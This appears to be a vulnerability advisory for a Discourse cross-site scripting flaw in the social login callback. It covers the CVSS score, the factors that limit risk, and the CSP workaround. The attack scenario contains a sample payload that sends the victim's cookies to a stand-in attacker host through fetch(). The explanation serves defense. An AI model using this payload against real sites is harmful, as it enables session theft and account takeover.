Discourse CVE-2025-48954

CVSS 8.1 (High) with vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N indicates a network-exploitable vulnerability requiring no privileges and only low complexity, but requiring user interaction (UI:R). The impact is significant: high confidentiality breach (C:H) and high integrity compromise (I:H) with no availability impact. Attack complexity is low, suggesting straightforward exploitation once a victim clicks a link. However, the real-world risk is MODERATED by three factors: (1) the vulnerability requires CSP to be disabled—a known security best practice that most production Discourse instances likely enable; (2) it requires user interaction (phishing), increasing the barrier to mass exploitation; (3) this is a beta-version disclosure (3.5.0.beta6 patches it), suggesting limited real-world deployment of vulnerable versions in production. Without EPSS score or KEV/CISA status data provided, the practical exploitation probability is estimated as MODERATE to HIGH among unpatched instances with CSP explicitly disabled. The workaround (enable CSP) is simple and likely already implemented on most production systems, reducing urgency for organizations with proper security baselines.

An attacker crafts a phishing email or social media post with a malicious link pointing to a Discourse instance's social login endpoint (e.g., '/auth/google/callback') with injected XSS payload in a parameter (e.g., 'state=<img src=x onerror=fetch("https://attacker.com/steal?cookie="+document.cookie)>'). The victim, already logged into their social provider, clicks the link on a Discourse instance with CSP disabled. The application processes the login callback without properly sanitizing the injected parameter, executing the attacker's JavaScript in the victim's browser context. The script exfiltrates the victim's session token or CSRF token, allowing the attacker to hijack the account or perform authenticated actions (post spam, modify profile, escalate privileges if admin, etc.). CSP being enabled would block the injected script execution at the browser level, preventing exploitation even if input sanitization is absent. Exploitation requires social engineering (UI:R) but has low technical complexity; no special tools or knowledge of Discourse internals are required beyond basic XSS payload crafting.